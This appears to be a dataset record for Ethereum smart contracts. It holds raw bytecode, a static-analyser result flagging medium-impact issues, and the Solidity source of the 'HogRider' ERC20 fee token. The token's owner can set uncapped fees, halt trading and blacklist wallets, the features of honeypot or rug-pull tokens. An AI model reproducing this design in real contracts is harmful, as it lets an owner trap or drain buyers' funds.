0803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506113e3565b6040518082815260200191505060405180910390f35b34156104ac57600080fd5b6104b461142c565b604051808215151515815260200191505060405180910390f35b34156104d957600080fd5b6104e16114f4565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561052e57600080fd5b61053661151a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561057657808201518184015260208101905061055b565b50505050905090810190601f1680156105a35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156105bc57600080fd5b6105f1600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506115b8565b604051808215151515815260200191505060405180910390f35b341561061657600080fd5b61068e600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506115f7565b604051808215151515815260200191505060405180910390f35b34156106b357600080fd5b61072b600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190505061162e565b005b341561073857600080fd5b61076d600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611913565b604051808215151515815260200191505060405180910390f35b341561079257600080fd5b6107dd600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611b06565b6040518082815260200191505060405180910390f35b34156107fe57600080fd5b61082a600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611b8d565b005b341561083757600080fd5b6108f2600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611c69565b604051808215151515815260200191505060405180910390f35b600360149054906101000a900460ff1681565b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109b55780601f1061098a576101008083540402835291602001916109b5565b820191906000526020600020905b81548152906001019060200180831161099857829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60005481565b600080600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515610af457600080fd5b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610b85610b7f866113e3565b84611f9c565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610bda610bd4856113e3565b84611fb6565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c278184611f9c565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b600660009054906101000a900460ff1681565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81565b60075481565b6000610d5f6123ee565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610dbb57600080fd5b600360149054906101000a900460ff16151515610dd757600080fd5b600083111515610de657600080fd5b610df260005484611fb6565b600081905550610e41600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484611fb6565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885846040518082815260200191505060405180910390a2806040518082805190602001908083835b602083101515610f085780518252602082019150602081019050602083039250610ee3565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390208473ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16866040518082815260200191505060405180910390a4600191505092915050565b600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561100557600080fd5b60008311151561101457600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054831115151561106257600080fd5b3390506110ae600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484611f9c565b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110fd60005484611f9c565b6000819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5846040518082815260200191505060405180910390a26001915050919050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508083111561126c576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112f7565b6112768184611f9c565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561148a57600080fd5b600360149054906101000a900460ff161515156114a657600080fd5b6001600360146101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156115b05780601f10611585576101008083540402835291602001916115b0565b820191906000526020600020905b81548152906001019060200180831161159357829003601f168201915b505050505081565b60006115c26123ee565b6115cb84611ff2565b156115e2576115db848483612005565b91506115f0565b6115ed8484836122bd565b91505b5092915050565b600061160284611ff2565b1561161957611612848484612005565b9050611627565b6116248484846122bd565b90505b9392505050565b611636612402565b600084826000019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505083826020018181525050828260400181905250601883600081518110151561169457fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f0100000000000000000000000000000000000000000000000000000000000000027f0100000000000000000000000000000000000000000000000000000000000000900463ffffffff169060020a02601084600181518110151561171e57fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f0100000000000000000000000000000000000000000000000000000000000000027f0100000000000000000000000000000000000000000000000000000000000000900463ffffffff169060020a0260088560028151811015156117a857fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f0100000000000000000000000000000000000000000000000000000000000000027f0100000000000000000000000000000000000000000000000000000000000000900463ffffffff169060020a0285600381518110151561183057fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f0100000000000000000000000000000000000000000000000000000000000000027f010000000000000000000000000000000000000000000000000000000000000090040101019050807c01000000000000000000000000000000000000000000000000000000000282606001907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815250505050505050565b600061199b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611fb6565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611be957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611c2557600080fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000611c7485611ff2565b15611f865783611c83336113e3565b1015611c8e57600080fd5b611ca0611c9a336113e3565b85611f9c565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611cf5611cef866113e3565b85611fb6565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff166000836040518082805190602001908083835b602083101515611d875780518252602082019150602081019050602083039250611d62565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390207c01000000000000000000000000000000000000000000000000000000009004903387876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828051906020019080838360005b83811015611e68578082015181840152602081019050611e4d565b50505050905090810190601f168015611e955780820380516001836020036101000a031916815260200191505b50935050505060006040518083038185885af193505050501515611eb557fe5b826040518082805190602001908083835b602083101515611eeb5780518252602082019150602081019050602083039250611ec6565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390208573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16876040518082815260200191505060405180910390a460019050611f94565b611f918585856122bd565b90505b949350505050565b600081831015611fab57600080fd5b818303905092915050565b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03831115611fe757600080fd5b818301905092915050565b600080823b905060008111915050919050565b60008083612012336113e3565b101561201d57600080fd5b61202f612029336113e3565b85611f9c565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061208461207e866113e3565b85611fb6565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508490508073ffffffffffffffffffffffffffffffffffffffff1663c0ee0b8a3386866040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561218c578082015181840152602081019050612171565b50505050905090810190601f1680156121b95780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b15156121d957600080fd5b5af115156121e657600080fd5b505050826040518082805190602001908083835b60208310151561221f57805182526020820191506020810190506020830392506121fa565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390208573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16876040518082815260200191505060405180910390a460019150509392505050565b6000826122c9336113e3565b10156122d457600080fd5b6122e66122e0336113e3565b84611f9c565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061233b612335856113e3565b84611fb6565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600190509392505050565b602060405190810160405280600081525090565b608060405190810160405280600073ffffffffffffffffffffffffffffffffffffffff1681526020016000815260200161243a612466565b815260200160007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191681525090565b6020604051908101604052806000815250905600a165627a7a72305820f8e9371992cc241ef9b528ea6b8cf1230d0a83dddae0cc18c8d13002bc2aa2650029
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
10,061
0xb99D7367998736fE80426201d09a5BC81B0a8692
/* t.me/hogstoken */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Hogrider is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "HogRider"; string private constant _symbol = "HOGS"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 2; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 8; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x4f766E8b2b5681cFebDB634fe6AAd67964f2e221); address payable private _marketingAddress = payable(0x74fC3f1570Ed70bA7cd9F95626db3009D8423a16); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 100000000000 * 10**9; uint256 public _maxWalletSize = 5000000000 * 10**9; uint256 public _swapTokensAtAmount = 3000000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } }
0x6080604052600436106101c55760003560e01c806374010ece116100f757806398a5c31511610095578063c3c8cd8011610064578063c3c8cd801461063a578063dd62ed3e14610651578063ea1644d51461068e578063f2fde38b146106b7576101cc565b806398a5c3151461056e578063a2a957bb14610597578063a9059cbb146105c0578063bfd79284146105fd576101cc565b80638da5cb5b116100d15780638da5cb5b146104c45780638f70ccf7146104ef5780638f9a55c01461051857806395d89b4114610543576101cc565b806374010ece146104335780637d1db4a51461045c5780637f2feddc14610487576101cc565b8063313ce567116101645780636d8aa8f81161013e5780636d8aa8f81461039f5780636fc3eaec146103c857806370a08231146103df578063715018a61461041c576101cc565b8063313ce5671461032057806349bd5a5e1461034b5780636b99905314610376576101cc565b80631694505e116101a05780631694505e1461026257806318160ddd1461028d57806323b872dd146102b85780632fd689e3146102f5576101cc565b8062b8cf2a146101d157806306fdde03146101fa578063095ea7b314610225576101cc565b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f860048036038101906101f39190612ced565b6106e0565b005b34801561020657600080fd5b5061020f6108ca565b60405161021c9190612dbe565b60405180910390f35b34801561023157600080fd5b5061024c60048036038101906102479190612e16565b610907565b6040516102599190612e71565b60405180910390f35b34801561026e57600080fd5b50610277610925565b6040516102849190612eeb565b60405180910390f35b34801561029957600080fd5b506102a261094b565b6040516102af9190612f15565b60405180910390f35b3480156102c457600080fd5b506102df60048036038101906102da9190612f30565b61095c565b6040516102ec9190612e71565b60405180910390f35b34801561030157600080fd5b5061030a610a35565b6040516103179190612f15565b60405180910390f35b34801561032c57600080fd5b50610335610a3b565b6040516103429190612f9f565b60405180910390f35b34801561035757600080fd5b50610360610a44565b60405161036d9190612fc9565b60405180910390f35b34801561038257600080fd5b5061039d60048036038101906103989190612fe4565b610a6a565b005b3480156103ab57600080fd5b506103c660048036038101906103c1919061303d565b610b5a565b005b3480156103d457600080fd5b506103dd610c0c565b005b3480156103eb57600080fd5b5061040660048036038101906104019190612fe4565b610cdd565b6040516104139190612f15565b60405180910390f35b34801561042857600080fd5b50610431610d2e565b005b34801561043f57600080fd5b5061045a6004803603810190610455919061306a565b610e81565b005b34801561046857600080fd5b50610471610f20565b60405161047e9190612f15565b60405180910390f35b34801561049357600080fd5b506104ae60048036038101906104a99190612fe4565b610f26565b6040516104bb9190612f15565b60405180910390f35b3480156104d057600080fd5b506104d9610f3e565b6040516104e69190612fc9565b60405180910390f35b3480156104fb57600080fd5b506105166004803603810190610511919061303d565b610f67565b005b34801561052457600080fd5b5061052d611019565b60405161053a9190612f15565b60405180910390f35b34801561054f57600080fd5b5061055861101f565b6040516105659190612dbe565b60405180910390f35b34801561057a57600080fd5b506105956004803603810190610590919061306a565b61105c565b005b3480156105a357600080fd5b506105be60048036038101906105b99190613097565b611126565b005b3480156105cc57600080fd5b506105e760048036038101906105e29190612e16565b6111dd565b6040516105f49190612e71565b60405180910390f35b34801561060957600080fd5b50610624600480360381019061061f9190612fe4565b6111fb565b6040516106319190612e71565b60405180910390f35b34801561064657600080fd5b5061064f61121b565b005b34801561065d57600080fd5b50610678600480360381019061067391906130fe565b6112f4565b6040516106859190612f15565b60405180910390f35b34801561069a57600080fd5b506106b560048036038101906106b0919061306a565b61137b565b005b3480156106c357600080fd5b506106de60048036038101906106d99190612fe4565b61141a565b005b6106e86115dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610775576040517f08c379a